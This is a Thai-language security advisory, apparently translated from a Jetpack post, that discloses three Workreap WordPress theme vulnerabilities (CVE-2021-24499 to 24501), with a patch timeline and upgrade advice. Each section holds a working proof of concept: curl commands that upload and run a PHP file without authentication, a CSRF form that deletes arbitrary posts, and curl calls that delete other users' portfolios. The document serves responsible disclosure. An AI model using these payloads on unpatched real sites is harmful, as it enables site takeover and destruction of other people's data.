ช่องโหว่หลายจุดในธีม Workreap โดย Amentotech

เผยแพร่แล้ว: 2021-07-07

เมื่อเร็วๆ นี้ ทีมงาน Jetpack พบไฟล์ที่ติดไวรัสบางไฟล์ในไซต์ของลูกค้าโฮสต์ของเรา และติดตามแหล่งที่มาของการติดไวรัสอย่างรวดเร็วกลับไปยังธีม Workreap โดย Amentotech เราเริ่มการสอบสวนและค้นพบจุดปลาย AJAX ที่มีช่องโหว่จำนวนหนึ่งในธีม ที่ร้ายแรงที่สุดคือช่องโหว่การอัปโหลดที่ไม่ผ่านการตรวจสอบสิทธิ์ซึ่งไม่ได้รับการตรวจสอบสิทธิ์ ซึ่งอาจทำให้เกิดการเรียกใช้โค้ดจากระยะไกลและการเข้ายึดเว็บไซต์ทั้งหมด

เรารายงานช่องโหว่ไปยังทีม Amentotech ผ่านโปรแกรม Envato Helpful Hacker และปัญหาได้รับการแก้ไขโดยทันที เวอร์ชัน 2.2.2 ของธีมเผยแพร่เมื่อวันที่ 29 มิถุนายน พ.ศ. 2564 ซึ่งแก้ไขช่องโหว่ที่พบ

TL;DR

เนื่องจากช่องโหว่ที่ร้ายแรง เราขอแนะนำให้ผู้ใช้ธีม Workreap ทุกคนอัปเกรดเป็นเวอร์ชัน 2.2.2 หรือใหม่กว่าโดยเร็วที่สุด

ดาวน์โหลดการอัปเกรดจากเว็บไซต์ธีมและติดตั้งด้วยตนเอง หรืออัปเกรดโดยอัตโนมัติผ่านปลั๊กอินตลาด Envato

รายละเอียด

ชื่อกระทู้: Workreap
URI ธีม: http://amentotech.com/projects/wpworkreap
ผู้เขียน: Amentotech
URI ผู้เขียน: https://themeforest.net/user/amentotech/portfolio

จุดอ่อน

เนื่องจากช่องโหว่ที่ร้ายแรง เราจะชะลอการโพสต์การพิสูจน์แนวคิดและการวิเคราะห์ที่สมบูรณ์เพื่อให้ผู้ใช้มีเวลาอัปเกรด

การอัปโหลดที่ไม่ผ่านการตรวจสอบสิทธิ์ซึ่งนำไปสู่การเรียกใช้โค้ดจากระยะไกล

เวอร์ชันที่ได้รับผลกระทบ: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90.7
ลิงค์ WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

การดำเนินการ AJAX workreap_award_temp_file_uploader และ workreap_temp_file_uploader ไม่ได้ทำการตรวจสอบ nonce หรือตรวจสอบว่าคำขอมาจากผู้ใช้ที่ถูกต้องด้วยวิธีอื่นใด ปลายทางที่อนุญาตให้อัปโหลดไฟล์ที่กำหนดเองไปยังไดเร็กทอรี uploads/workreap-temp ไฟล์ที่อัปโหลดไม่ได้ผ่านการฆ่าเชื้อหรือตรวจสอบ ทำให้ผู้เยี่ยมชมที่ไม่ผ่านการตรวจสอบสิทธิ์สามารถอัปโหลดโค้ดสั่งการได้ เช่น สคริปต์ php

หลักฐานของแนวคิด

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

ช่องโหว่ CSRF + IDOR หลายรายการ

เวอร์ชันที่ได้รับผลกระทบ: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78.3
ลิงค์ WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

การดำเนินการ AJAX หลายอย่างที่มีอยู่ในธีม Workreap ไม่มีการป้องกัน CSRF เช่นเดียวกับการอนุญาตการอ้างอิงอ็อบเจ็กต์โดยตรงที่ไม่ปลอดภัย (IDOR) ที่ไม่ผ่านการตรวจสอบ วิธีนี้ทำให้ผู้โจมตีหลอกล่อผู้ใช้ที่เข้าสู่ระบบให้ส่งคำขอ POST ไปยังไซต์ที่มีช่องโหว่ ซึ่งอาจแก้ไขหรือลบออบเจ็กต์ตามอำเภอใจในไซต์เป้าหมาย

ในเวอร์ชันก่อน 2.0.0 การกระทำเหล่านี้ขาดการรับรองความถูกต้องอย่างสมบูรณ์ และผู้เยี่ยมชมไซต์สามารถใช้ประโยชน์ได้

หลักฐานของแนวคิด

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

ไม่มีการตรวจสอบการอนุญาตในการดำเนินการ AJAX

เวอร์ชันที่ได้รับผลกระทบ: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68.5
ลิงค์ WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

การดำเนินการ AJAX หลายอย่างที่มีอยู่ในธีม Workreap ไม่มีการตรวจสอบการอนุญาตเพื่อตรวจสอบว่าผู้ใช้ได้รับอนุญาตให้ดำเนินการที่สำคัญ เช่น การแก้ไขหรือการลบอ็อบเจ็กต์ สิ่งนี้ทำให้ผู้ใช้ที่เข้าสู่ระบบสามารถแก้ไขหรือลบวัตถุที่เป็นของผู้ใช้รายอื่นบนไซต์ได้

ในเวอร์ชันก่อน 2.0.0 การกระทำเหล่านี้ขาดการรับรองความถูกต้องอย่างสมบูรณ์และผู้เยี่ยมชมไซต์สามารถใช้ประโยชน์ได้

หลักฐานของแนวคิด

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

เส้นเวลา

2021-06-24: พบช่องโหว่ในการอัปโหลดครั้งแรกโดยทีม Jetpack Scan รายงานไปยังโปรแกรม Envato Helpful Hacker
2021-06-25: พบช่องโหว่เพิ่มเติมที่ค้นพบ Amentotech แจ้งผ่าน Envato
2021-06-27: เวอร์ชัน 2.2.1 ถูกเผยแพร่ โดยแก้ไขช่องโหว่บางส่วนแต่ไม่ใช่ทั้งหมด
2021-06-29: เวอร์ชัน 2.2.2 เผยแพร่แล้ว และการแก้ไขที่ตรวจสอบโดยทีม Jetpack Scan

บทสรุป

เราขอแนะนำให้คุณตรวจสอบเวอร์ชันปัจจุบันของธีม Workreap ที่คุณใช้บนไซต์ของคุณ และหากน้อยกว่า 2.2.2 ให้อัปเดตโดยเร็วที่สุด!

ที่ Jetpack เราทำงานอย่างหนักเพื่อให้แน่ใจว่าเว็บไซต์ของคุณได้รับการปกป้องจากช่องโหว่ประเภทนี้ เพื่อนำหน้าภัยคุกคามใหม่ ๆ หนึ่งก้าว ให้ลองดู Jetpack Scan ซึ่งรวมถึงการสแกนความปลอดภัยและการกำจัดมัลแวร์โดยอัตโนมัติ

เครดิต

นักวิจัยต้นฉบับ: Harald Eilertsen

ขอขอบคุณทีมงาน Jetpack Scan ที่เหลือสำหรับความคิดเห็น ความช่วยเหลือ และการแก้ไข ขอบคุณ kailoon ของโปรแกรม Envato Helpful Hacker สำหรับความช่วยเหลือในการติดต่อ Amentotech และ Amentotech เพื่อตอบกลับอย่างรวดเร็วในการแก้ไขปัญหาและเผยแพร่เวอร์ชันที่อัปเดต